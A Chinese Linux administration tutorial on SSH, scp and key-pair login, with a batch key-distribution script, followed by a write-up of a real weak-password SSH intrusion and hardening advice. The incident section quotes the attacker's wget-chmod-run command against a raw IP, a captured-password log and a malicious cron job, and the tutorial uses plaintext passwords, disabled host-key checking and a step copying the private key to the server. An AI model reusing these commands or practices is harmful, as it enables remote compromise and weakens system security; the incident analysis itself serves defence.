ssh+key
一、ssh概述
在进行数据传输之前,SSH先对联机数据包通过加密技术进行加密处理,加密后在进行数据传输。确保了传递的数据安全。
lrzsz安装包传输本地与Linux
SSH客户端(ssh命令)还包含一个很有用的远程安全拷贝命令scp,也是通过ssh协议工作的。
telnet是不安全的远程连接,连接内容是明文的;
telnet+对方IP地址+对方端口号 因为对方是ssh我方是telnet两种不兼容,所以连上了无法有任何操作(不好用)可以判断对方某个端口开没开,后面来一个$?进行判断,可以写在脚本里,也就这点逼用了。
ssh是加密的远程连接,连接内容是加密的。
ssh+对方IP地址 不写端口号,默认是22端口,弹出一个会话,问是否记录对方IP地址; 然后需要输入对方的root密码,没有指定对方账号登陆,默认是以root身份登陆
需要装scp这个命令才能进行远程连接
rpm -qf `which scp` openss*
scp /etc/hosts 192.168.200.111:/etc (可直接把本地的东西复制过去,比如yum仓库等)
scp root@192.168.200.111:~/yyy . (把对方的东西拿过来)
二、密钥对
1、概述:
密钥对:只要有钥匙文件就可以,采取文件对文件的连接方式,不用靠手输入;
服务端有一个主文件,客户端有一个副文件,服务端发现客户端的副文件和自己是一套的,远程连接的时候就不需要输入密码;如果发现不是一套的,直接拒绝!
登陆谁,给谁公钥。
2、密钥对使用与参数
ssh-keygen 生成密钥对
ssh-copy-id 分发密钥对
生成密钥对后,/root/.ssh/目录下有两个文件
id_rsa.pub是公钥 在服务端 需要改名authorized_keys
id_rsa 是私钥 在客户端
.ssh这个目录不能权限过大,否则Linux系统认定不安全,致使连接失败
所以,要把.ssh目录设置为700权限;chmod 700 .ssh
然后把私钥远程复制到对方,scp .ssh/id_rsa 192.168.200.111:~/.ssh/
这样就能免密码交互直接连接了
#但是,要想跟普通用户连接,那么普通用户的家目录下也要有这个密钥
#注意:因为要在普通用户下使用,所以要把密钥和它的.sh目录的的属主改成属于这个普通用户
chown yunjisuan authorized_keys (别忘了改700权限)
3、修改SSH配置文件飞快运行/etc/ssh/sshd_config
/etc/ssh/ssh_config
修改SSH配置文件,使其飞快运行:
vim /etc/ssh/sshd_config
81行 不进行验证,改成no
122行 DNS 改成no
重新启动,service sshd reload
scp /etc/ssh/sshd_config root@192.168.200.111:/etc/ssh/
三、非交互式密钥对
1、一条命令创建密钥对
ssh-keygen -t dsa -f ~/.ssh/id_dsa -P ""
-t指定加密算法DSA
-f密钥放在哪
-P 密码”” 为空
2、分发密钥对(交互式)
ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.154.132
#将本地公钥拷贝到172.16.1.41服务器的root目录下
-i 你要分发什么
分发完毕后,自动修改属主属主,700权限;
3、一条命令分发密钥对
先在云yum上安装一个sshpass
sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub yunjisuan@192.168.154.132
konwn_hosts这个文件,记录对方远程连接的信息,如果我们把创建、分发密钥对写进脚本里,第一次连接就会弹出是否记录的会话,脚本就会卡在这
脚本终极分发版本及相关参数说明:
#####################sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null
sshpass -p “123123” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no yunjisuan@192.168.200.111”
四、密钥分发脚本
手敲版
User=root
password=##Linux密码
function YumBuild(){
echo “正在安装epel源yum仓库,请稍后。。。”
cd /etc/yum.repos.d/ &&\
[ -d bak ] || mkdir bak
[ `find ./*.* -type f |wc -l` -gt 0 ] && find ./*.* -type f | xargs -i mv {} bak/
wget -O /etc/yum.repo.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null
yum -y clean all &>/dev/null
yum makecache &>/dev/null
}
echo “正在进行网络连接测试,请稍后。。。”
ping www.baidu.com -c2 > /dev/null || (echo “无法连接外网,本脚本运行环境必须与外网相连” && exit)
[ $# -eq 0 ] && echo “没有参数!格式为:sh $0 参数1.。n” && exit
rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null
if [ $? -gt 0 ];then
YumBuild
yum -y install sshpass &>/dev/null || (echo “sshpass build error!” && exit)
fi
[ -d ~/.ssh ] || mkdir ~/.ssh;chmod 700 ~/.ssh
echo “正在创建密钥对。。。”
rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub
ssh-keygen -t dsa -f ~/.ssh/id_dsa -P “” &>/dev/null
for ip in $*
do
ping $ip -c1 &>/dev/null
if [ $? -gt 0 ];then
echo “$ip无法ping通,请检查网络”
continue
fi
sshpass -p “$password” ssh-copy-id -i ~/.ssh/id_dsa.pub “-o StrictHostKeyChecking=no ${User}@$ip” &>/dev/null
echo “$ip 密钥分发成功”
done
原版
#!/bin/bash
# author:Mr.chen
# 2017-3-14
# description:SSH密钥批量分发
User=root
passWord=##Linux登录密码
function YumBuild(){
echo "正在安装epel源yum仓库,请稍后..."
cd /etc/yum.repos.d/ &&\
[ -d bak ] || mkdir bak
[ `find ./*.* -type f | wc -l` -gt 0 ] && find ./*.* -type f | xargs -i mv {} bak/
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo &>/dev/null
yum -y clean all &>/dev/null
yum makecache &>/dev/null
}
echo "正在进行网络连接测试,请稍后..."
ping www.baidu.com -c2 >/dev/null ||(echo "无法连同外网,本脚本运行环境必须和外网相连!" && exit)
[ $# -eq 0 ] && echo "没有参数!格式为:sh $0 参数1...n" && exit
rpm -q sshpass &>/dev/null || yum -y install sshpass &>/dev/null
if [ $? -gt 0 ];then
YumBuild
yum -y install sshpass &>/dev/null || (echo "sshpass build error!" && exit)
fi
[ -d ~/.ssh ] || mkdir ~/.ssh;chmod 700 ~/.ssh
echo "正在创建密钥对...."
rm -rf ~/.ssh/id_dsa ~/.ssh/id_dsa.pub
ssh-keygen -t dsa -f ~/.ssh/id_dsa -P "" &>/dev/null
for ip in $*
do
ping $ip -c1 &>/dev/null
if [ $? -gt 0 ];then
echo "$ip无法ping通请检查网络"
continue
fi
sshpass -p "$passWord" ssh-copy-id -i ~/.ssh/id_dsa.pub "-o StrictHostKeyChecking=no ${User}@$ip" &>/dev/null
echo "$ip 密钥分发成功"
done
五、 企业案例:SSH入侵案例
通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视。接下来要说的,是一次真实的SSH入侵实例,由于运维人员的经验缺乏以及安全意识的薄弱,从而没有及时对已被侵入的服务器做隔离处理,导致扩散到较多的服务器。
一,事件回顾
这次的服务器被入侵是一个典型的弱密码导致的入侵事件,由于某人员的疏忽,在某台服务器上新建了test用户,且使用同名的弱密码,以便于调试工作所需的脚本工具,就在当天在做脚本调试的时候发现了某些异常的错误,使用root用户无法ssh远程登陆其他服务器,同时scp命令出现异常无法使用,但其他服务器可以使用scp将文件拷贝到该服务器,之后将问题反馈给运维人员,由我们运维进行排查。
二,排查过程
收到问题反馈,主要涉及ssh相关的问题后,我们运维对该服务器进行排查,发现使用ssh -v中的openssl版本无法显示,且输出的帮助信息与其他服务器不一致,然后查看ssh配置,发现配置文件(ssh_config和sshd_config)文件已更新,其内容被全部注释,这时还没有意识到被入侵,悲哀+1,起初以为同事对该服务器做了升级了ssh版本,后来确认无升级之类的操作。
· (1):查看ssh版本及相关信息,openssl的版本显示异常,与其他服务器对比,帮助信息显示方式有多不同
正常服务器的ssh -v
1. [root@backup ~]# ssh -v
2. OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
3. usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
4. [-D [bind_address:]port] [-e escape_char] [-F configfile]
5. [-I pkcs11] [-i identity_file]
6. [-L [bind_address:]port:host:hostport]
7. [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
8. [-R [bind_address:]port:host:hostport] [-S ctl_path]
9. [-W host:port] [-w local_tun[:remote_tun]]
10. [user@]hostname [command]
有问题服务器的ssh -v
· (2):查看ssh进程及其相关文件,ssh和sshd进程文件已更新,ssh_config和sshd_config配置文件已更新,配置文件内容全部注释,ssh_host_key和ssh_host_key.pub为新增文件,其他服务器没有这两个文件。
·
(3):继续排查,将一台正确的配置文件覆盖至该服务器,重启ssh服务后,使用ssh命令发现无法识别该配置文件中的参数(到这里其实应该发现ssh进程文件已被篡改,使用md5sum做比对即可)
·
·
(4):由于其他工作事务需要及时处理,排查这个事情就被搁置了,直至之后的YY讨论问题拿出来询问了下大神,才意识到有被入侵的可能
·
·
(5):询问操作过该服务器的同事,此前正在调试脚本工具,新增了test用户,得知其密码为test
·
·
(6):进行深入排查,使用chkrootkit -q查看Linux系统是否存在后门,发现有异常。协同之前操作test用户的同事,查找history命令记录,发现一条可疑命令
·
1. $ su - test
2. $ history
3. 50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf #非同事操作的可疑命令
4. $ w #并且无法查看当前的登录用户
5. $ cat /usr/include/netda.h #找到一个用户登录就记录其密码的文件
6. +user: bin +password:worlddomination
7. +user: test +password:TF4eygu4@#$ds
·
(7):在另外一台服务器上,发现某账号家目录下有个dead.letter文件,用于将获取到的信息(系统信息,IP地址,账号密码等)发送至指定的邮箱
·
·
(8):又在另外一台服务器上部署了一套可疑的程序,估计是作为肉鸡功能
·
1. $ sudo crontab -e
2. $ * * * * * /usr/include/statistics/update > /dev/null 2>&1
3. #原有的cron任务已被清空,仅有该条可疑任务
· (9):找到/usr/include/statistics为主程序的目录,其中update为主程序,通过autorun脚本进行部署,执行crond伪装成crond服务,使原crond服务隐藏且无法启动,将cron覆盖至原有crontab文件来每分钟执行update二进制程序,mech.pid记录伪装的crond程序的PID
三,清理工作
· 紧急修复清理
将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下
1)查看并修改属性
2)恢复ssh和sshd
3)删除多余的文件以及恢复crond
· 后续安全工作
1)修改所有涉及的服务器的账户密码,之后其他使用同类密码的服务器也需改掉
2)配置防火墙策略,只允许公司外网IP可ssh访问服务器
3)对于被入侵过的服务器系统后期逐步重做系统,避免存在未清理的后门
四,总结
此次的遭受攻击,问题主要是运维安全意识较差,以及防火墙策略比较松散,为了便于远程工作,像ssh端口未做限制,服务器几乎是裸奔的状态。经过此番折腾,也对服务器安全方面做了一次警示,需加强防御工作,同时也了解到典型的ssh后门功能:其一是超级密码隐身登陆;其二是记录登陆的账号密码。后续还需制定一系列入侵检测机制,以防再次出现入侵事故。
如何防止SSH登录入侵小结:
病毒通常在在哪?
1)各种开机自启动里面放着
/etc/rc.local /etc/init.d/
2)定时任务
/var/spool/cron/*
3)系统的定时任务目录
如何防止SSH登录入侵?
1,用密钥登录,不用密码登录
2,防火墙封闭SSH,指定源IP限制(局域网,信任公网)
3,开启SSH只监听本地内网IP(ListenAddress10.0.0.8)。
4,尽量不给服务器外网IP
5,最小化软件安装
6,给系统的重要文件或命令做一个指纹
7,给他锁上chattr +i +a
六、SSH批量分发管理
操作系统
1. [root@m01 ~]# cat /etc/redhat-release
2. CentOS release 6.8 (Final)
3. [root@m01 ~]# uname -r
4. 2.6.32-642.el6.x86_64
主机网络参数
主机名 |
网卡eth0 |
网卡eth1 |
用途 |
m01 |
10.0.0.61 |
172.16.1.61 |
中心批发服务器 |
nfs01 |
10.0.0.31 |
172.16.1.31 |
接收节点服务器 |
web01 |
10.0.0.8 |
172.16.1.8 |
接收节点服务器 |
backup |
10.0.0.41 |
172.16.1.41 |
备份服务器 |
提示:
若无特殊说明,子网掩码均为255.255.255.0,一个C类网段254台机器规模
要求所有服务器在同一用户chensiqi系统用户下,实现A机器从本地分发数据到B,C机器上,发到B,C的过程中不需要系统提示输入密码验证,当然,除了分发的功能,还可以批量查看所有客户机上的CPU,LOAD,MEM,系统版本信息。
即实现从A服务器发布数据到B,C客户端服务器以及查看信息的免密码登录验证解决方案:分发数据流方向如下:
ssh+key的更多相关文章
- 创建SSH Key连接github或gitlab
mac下用SoureceTree下载github或gitlab上的项目时,需要进行ssh key验证.每次重装系统啥的都要重新弄,我在csdn上看到一篇不错的文章.转载一下,以后自己找起来也方便. 地 ...
- ssh key生成
Mac电脑用终端生成SSH key 访问自己的Github 字数684 阅读427 评论4 喜欢15 前言:最近有不少刚刚使用github管理代码的开发者或者新手码农在网上 问我如何关联自己的gith ...
- windows系统如何添加ssh key到github
我自己的电脑安装了git后,从来没有用过,今天偶然用了一次,发现不能pull到东西,报错说我没有权限,于是我网上搜索了一下,应该是我没有配置ssh key的原因,相信很多人都有和我一样的经历吧,这里呢 ...
- github with msysgit:配置SSH Key
Step 1: Check for SSH keys First, we need to check for existing ssh keys on your computer. Open up G ...
- 添加ssh key
我现在根据<github入门和实践>来去摸索github 其实,我发现自己在看github时,感觉不适应,是因为自己太久没有碰到英文了.可以联想到以前当看到一个网页,根据汉字的标题或描述, ...
- github 添加 SSH key
在 github 上添加 SSH key 的步骤: 1.首先需要检查你电脑是否已经有 SSH key 运行 git Bash 客户端,输入如下代码: $ cd ~/.ssh $ ls 这两个命令就是检 ...
- 使用ssh key的方式建立和git服务器的通信
1.以前大家好像都在用https的方式同git来同步代码,但是到了新公司后,主管说要配ssh key,所以大概了解一下 An SSH key allows you to establish a sec ...
- Git bash 配置ssh key
问题描述 昨天为了配置Qt create中的Git,把我一直在使用的Github删除了,今本以为,这样git的一些配置还在,可是,今天上传一些提交的时候,提示我,git没有密钥.梳理一下,这个简单的配 ...
- github添加ssh key报错Key is invalid. Ensure you've copied the file correctly
github添加ssh key的时候报错:Key is invalid. Ensure you've copied the file correctly 将秘钥复制粘贴到文本编辑器中,再粘贴复制到
- git生成ssh key 避免每次push都要输入账号密码
第一步:生成public/private rsa key pair在命令行中输入ssh-keygen -t rsa -C "your_email@example.com" 默认在这 ...
随机推荐
- shell爬虫--抓取某在线文档所有页面
在线教程一般像流水线一样,页面有上一页下一页的按钮,因此,可以利用shell写一个爬虫读取下一页链接地址,配合wget将教程所有内容抓取. 以postgresql中文网为例.下面是实例代码 #!/bi ...
- 来自docker的嚎叫
好吧, 这是我第二次玩这个玩意了, 其实我现在这家公司是没有接触到docker的, 因此对它也是半桶水的状态, 之前有朋友叫我写过shell去离线部署它, 部署都那样不值一提, 后来到我第二次去接触它 ...
- [C++ Primer Plus] 第5章、循环和关系表达式(二)课后习题
1.编写一个要求用户输入两个整数的程序,将程序将计算并输出这两个整数之间(包括这两个整数)所有的整数的和.这里假设先输入较小的整数,例如如果用户输入的是2和9,则程序将指出2-9之间所有整数的和为44 ...
- [BZOJ2298]problem a
Description 一次考试共有n个人参加,第i个人说:“有ai个人分数比我高,bi个人分数比我低.”问最少有几个人没有说真话(可能有相同的分数) Input 第一行一个整数n,接下来n行每行两个 ...
- [JSONObject/JSONArray] - 定制的JSON格式返回
当前开发的程序中.因为抛弃了jsp的渲染,改为thymeleaf,并在比较厉害的前端进行数据json的渲染无误后,得出此json数据返回. 以往的Map<String,Object>返回j ...
- codeforce 955c --Sad powers 思路+二分查找
这一题的题意是 定义一个数,该数特点是为a的p次方 (a>0,p>1) 再给你n个询问,每个询问给出一个区间,求区间内该数的数目. 由于给出的询问数极大(10e5) 所以,容易想到应该 ...
- android ------- 开发者的 RxJava 详解
在正文开始之前的最后,放上 GitHub 链接和引入依赖的 gradle 代码: Github: https://github.com/ReactiveX/RxJava https://github. ...
- ubuntu文档保存出现的一些错误
ubuntu使用vim编辑器保存时,出现了错误,虽然知道基本的保存方法,但是还不够,出现各种错误.基本的保存命令: 写入文件后退出保存:wq后,保存时出现错误E45:已设定选项“readonly”(请 ...
- 解决Docker容器时区不一致的问题
查看linux系统时区和docker容器时区 date -R //查看linux主机时间和时区 date exec [container] date -R // 查看容器时间和时区 2者的时间差了8个 ...
- 【框架】selenium网页端的基本自动化框架(四)